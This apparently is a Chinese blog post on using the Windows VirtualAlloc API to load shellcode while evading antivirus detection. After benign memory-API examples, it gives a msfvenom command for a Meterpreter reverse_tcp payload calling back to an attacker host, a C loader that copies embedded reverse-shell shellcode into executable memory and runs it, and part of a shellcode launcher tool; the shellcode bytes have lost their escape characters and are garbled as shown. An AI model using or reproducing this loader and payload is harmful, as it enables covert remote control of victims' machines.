zoukankan      html  css  js  c++  java
  • VirtualAlloc加载shellcode免杀一点记录

    一个很好的学习网站 推荐一下:

    https://docs.microsoft.com/zh-cn/windows/win32/api/

    0x01 VirtualAlloc

    VirtualAlloc:

    在虚拟地址空间中预定一块内存区域;

    VirtualAlloc是Windows提供的API,通常用来分配大块的内存。

    PVOID VirtualAlloc(PVOID pvAddress, SIZE_T dwSize, DWORD fdwAllocationType, DWORD fdwProtect)
    
    VirtualAlloc (PVOID 开始地址,SIZE_T 大小,DWORD 类型,DWORD 保护属性)

     

    VirtualQuery
    SIZE_T WINAPI VirtualQuery(
    _In_opt_ LPCVOID                   lpAddress,
    _Out_    PMEMORY_BASIC_INFORMATION lpBuffer,
    _In_     SIZE_T                    dwLength
    );
     
    #include "stdafx.h"
    #include "Windows.h"
    #include "iostream"
    using namespace std;
     
    int _tmain(int argc, _TCHAR* argv[])
    {
        //申请内存区域
        BYTE* pByte = (BYTE*)VirtualAlloc(NULL,64 * 1024,MEM_RESERVE,PAGE_READWRITE);
        if (pByte != NULL)
        {
            cout<<"申请内存成功!"<<endl;
        }
        MEMORY_BASIC_INFORMATION mbi;
        DWORD dwNumByte = VirtualQuery(pByte,&mbi,sizeof(mbi));
        cout<<"BaseAddress "<<mbi.BaseAddress<<endl;
        cout<<"AllocationBase "<<mbi.AllocationBase<<endl;
        cout<<mbi.AllocationProtect<<endl;
        if (mbi.State == MEM_COMMIT)
        {
            ZeroMemory(pByte,64 * 1024);
            memcpy(pByte,_T("分配虚拟内存成功-1"),sizeof(_T("分配虚拟内存成功-1")));
            cout<<pByte<<endl;
        }
        else
        {
            VirtualAlloc(pByte,64 * 1024,MEM_COMMIT,PAGE_READWRITE);
            cout<<"调拨物理存储器成功!"<<endl;
        }
        ZeroMemory(pByte,64 * 1024);
        memcpy(pByte,_T("分配虚拟内存成功-2"),sizeof(_T("分配虚拟内存成功-2")));
        cout<<pByte<<endl;
        VirtualFree(pByte,0,MEM_RELEASE);
        system("pause");
        return 0;
    }

     

    MEMORY_BASIC_INFORMATION结构
    包含有关进程的虚拟地址空间中的页面范围的信息。该 VirtualQuery来和 VirtualQueryEx函数使用这种结构。
    
    句法
    typedef struct _MEMORY_BASIC_INFORMATION {
      PVOID  BaseAddress;
      PVOID  AllocationBase;
      DWORD  AllocationProtect;
      SIZE_T RegionSize;
      DWORD  State;
      DWORD  Protect;
      DWORD  Type;
    } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;

    BaseAddress

    A pointer to the base address of the region of pages.

    AllocationBase

    A pointer to the base address of a range of pages allocated by the VirtualAlloc function. The page pointed to by the BaseAddressmember is contained within this allocation range.

    AllocationProtect

    The memory protection option when the region was initially allocated. This member can be one of the memory protection constantsor 0 if the caller does not have access.

    RegionSize

    The size of the region beginning at the base address in which all pages have identical attributes, in bytes.

    State

    The state of the pages in the region. This member can be one of the following values.

    0x02 shellcode Bypass

    msf   c shellcode:
    msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=
    攻击机IP LPORT=攻击机端口 -f c

     demo1:

    #include <Windows.h>
    #include <stdio.h>
    using namespace std;
    
    int main(int argc,char **argv){
        char ShellCode[] = "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
    "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
    "xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
    "x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
    "x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
    "x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
    "x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
    "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
    "x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
    "x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
    "x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
    "x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x11x8d"
    "x68x02x00x11x5cx89xe6x50x50x50x50x40x50x40x50"
    "x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
    "x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67"
    "x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff"
    "xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00"
    "x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56"
    "x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58"
    "x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5"
    "x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85"
    "x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
    "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
               
        
        void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        memcpy(exec, ShellCode, sizeof ShellCode);
        ((void(*)())exec)();
        return 0;
    }
    shellcode_launcher:
    #include <stdio.h>
    #include <stdlib.h>
    #include <ctype.h>
    #include <Windows.h>
    
    #define EXTRA_SPACE     0x10000
    #define MAX_REG_NAME_SIZE 4
    
    #define REG_EAX         0
    #define REG_EBX         1
    #define REG_ECX         2
    #define REG_EDX         3
    #define REG_EDI         4
    #define REG_ESI         5
    
    #define REG_MAX         6       
    
    #define MAX_OPEN_FILES  10
    
    char* regNames[] = {
        "eax",
        "ebx",
        "ecx",
        "edx",
        "edi",
        "esi"
    };
    
    #define NUM_REGISTERS   6
    
    typedef void(*void_func_ptr)(void);
    
    unsigned char callNext[] = {
        0xe8, 0x00, 0x00, 0x00, 0x00,       //call  $+5
    };
    
    #if 0
    unsigned char callPopEdi[] = {
        0xe8, 0x00, 0x00, 0x00, 0x00,       //call  $+5
        0x5f                                //pop   edi
    };
    #endif
    
    unsigned char popRegInstr[] = {
        0x58,                           //eax
        0x5b,                           //ebx
        0x59,                           //ecx
        0x5a,                           //edx
        0x5f,                           //edi
        0x5e                            //esi
    };
    
    #if 0
    unsigned char addEdiImmediate[] = {
        0x81, 0xc7                          // add edi, <32-bit immediate>
    };
    #endif
    
    unsigned char addRegImmediate[][2] = {
        { 0x81, 0xc0 }, //add eax, 0x11223344: 81c0  44332211
        { 0x81, 0xc3 }, //add ebx, 0x11223344: 81c3  44332211
        { 0x81, 0xc1 }, //add ecx, 0x11223344: 81c1  44332211
        { 0x81, 0xc2 }, //add edx, 0x11223344: 81c2  44332211
        { 0x81, 0xc6 }, //add esi, 0x11223344: 81c6  44332211
        { 0x81, 0xc7 }, //add edi, 0x11223344: 81c7  44332211
    };
    
    unsigned char jmp32bitOffset[] = {
        0xe9                                // jmp <32-bit immediate_offset>
    };
    
    unsigned char breakpoint[] = {
        0xcc                                // int3
    };
    
    struct FileInfo {
        int     index;
        char*   names[MAX_OPEN_FILES];
        HANDLE  handles[MAX_OPEN_FILES];
    };
    
    struct ConfigurationData {
        int             doBp;
        DWORD           startOff;
        DWORD            baseAddress;
        char*           shellcodeFilename;
        DWORD           shellcodeSize;
        int             setRegStart[NUM_REGISTERS];
        int             setRegEnd[NUM_REGISTERS];
        struct FileInfo readFiles;
        struct FileInfo writeFiles;
        struct FileInfo readWriteFiles;
        struct FileInfo loadedLibraries;
    };
    
    void usage(void) {
        printf("Usage: shellcode_launcher.exe
    ");
        printf("shellcode_launcher.exe -i <shellcode_filename> -o <offset> -ba <base_address> [-bp] [-r <in_filename>]
       [-w <in_filename>] [-L <lib_name] [-<reg>][+<reg>]
    ");
        printf("  <shellcode_filename> is the binary containing the shellcode to execute
    ");
        printf("  <offset> is the (decimal) offset into the shellcode to start executing
    ");
        printf("  <base_address> is your preferred base address to insert the shellcode (i.e. 0xFD0000
    ");
        printf("  <in_filename> is an additional file to open, either readonly (-r) 
    ");
        printf("     or writeable (-w), such as for a malicious PDF the shellcode
    ");
        printf("     requires an open handle for
    ");
        printf("  -<reg>: load register <reg> with a pointer to the start of the shellcode
    ");
        printf("  +<reg>: load register <reg> with a pointer to the end of the shellcode
    ");
        printf("  -bp: add a breakpoint prior to jumping into the shellcode
    ");
        printf("  -L <lib_name>: Load library <libname> during initialization
    ");
    }
    
    
    int isStrEqual(const char *s1, const char*s2) {
        return (0 == strncmp(s1, s2, strlen(s2)));
    }
    
    void checkExtraArgument(int argc, int currI, char* argFlag) {
        if((currI+1) >= argc) {
            printf("Missing argument to %s", argFlag);
            usage();
            exit(1);
        }
    }
    
    
    int isRegisterCommand(const char *source, char plusMinus) {
        char localSource[MAX_REG_NAME_SIZE];
        unsigned int i;
        if(!source) {
            return -1;
        }
        if(source[0] != plusMinus) {
            return -1;
        }
        size_t len = strlen(source);
        if(len > MAX_REG_NAME_SIZE) {
            return -1;
        }
        memset(localSource, 0, sizeof(localSource));
        for(i=0; i<len; i+=1) {
            localSource[i] = (char)tolower(source[i+1]);
        }
        for(i=0; i<REG_MAX; i++) {
            //if(isStrEqual(localSource, regNames[i])) {
            if(!strcmp(localSource, regNames[i])) {
                //found a match, return the current reg index
                return i;
            }
        }
        //if got here, no matches
        return -1;
    }
    
    // Returns -1 on error, else 0 on success
    int doLoadLibraries(struct ConfigurationData* config) {
        int i;
        for(i=0; i<config->loadedLibraries.index; i++) {
    
            printf("Trying to LoadLibrary: %s
    ", config->loadedLibraries.names[i]);
            HMODULE libHandle = LoadLibrary(config->loadedLibraries.names[i]);
            if(libHandle == NULL) {
                printf("Error loading library %s: 0x%08
    ", config->loadedLibraries.names[i], GetLastError());
                return -1;
            }
            config->loadedLibraries.handles[i] = libHandle;
        }
        return 0;
    }
    
    int doCreateFiles(struct ConfigurationData* config) {
        int i;
        //open read-only files
        for(i=0; i<config->readFiles.index; i++) {
            HANDLE inFile = INVALID_HANDLE_VALUE;
            printf("Opening readable file: %s
    ", config->readFiles.names[i]);
            inFile = CreateFile(config->readFiles.names[i], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
            if (inFile == INVALID_HANDLE_VALUE) {
                printf("Couldn't open file %s: %08x
    ", config->readFiles.names[i], GetLastError());
                return 1;
            }
            config->readFiles.handles[i] = inFile;
        }
    return 0;
    }

    mingw32编的有点问题 vs编的

     

  • 相关阅读:
    vue ui 命令使用
    vue环境搭建
    简版的电商项目学习——第四步:从数据库获取数据,页面跳转以及跳转页面成功与否的提示信息设置
    简版的电商项目学习——第三步:数据库创建,注册功能实现以及用户密码加密
    简版的电商项目学习——第二步:页面布局,以及路由设置
    简版的电商项目学习——第一步:express后台搭建以及基本模块、插件配置
    sass 控制指令
    继承,混合器,占位符的用法 和 sass的数据类型
    ruby 安装 和 sass入门
    大数乘法,分治O(n^1.59)
  • 原文地址:https://www.cnblogs.com/-qing-/p/11846511.html
Copyright © 2011-2022 走看看